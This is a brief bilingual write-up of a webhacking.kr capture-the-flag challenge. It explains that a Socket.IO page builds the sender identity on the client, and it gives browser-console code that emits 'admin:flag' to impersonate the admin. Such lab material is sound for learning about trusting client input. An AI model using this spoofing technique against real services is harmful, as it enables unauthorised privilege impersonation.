Challenge
Use the client-side username value to send the
flagcommand as admin.利用客户端 username 值,以 admin 身份发送
flag命令。
http://webhacking.kr:10007/Analysis
页面通过 Socket.IO 发送命令:
socket.emit('cmd', username + ':' + $('#m').val());username 初始值为 guest,但身份字符串由客户端拼接后直接发送。把发送内容改为 admin:flag,即可让服务端按 admin 分支处理 flag 命令。
Solution
在题目页面的 browser console 中执行:
const socket = window.io();socket.on('cmd', (message) => console.log(message));socket.emit('cmd', 'admin:flag');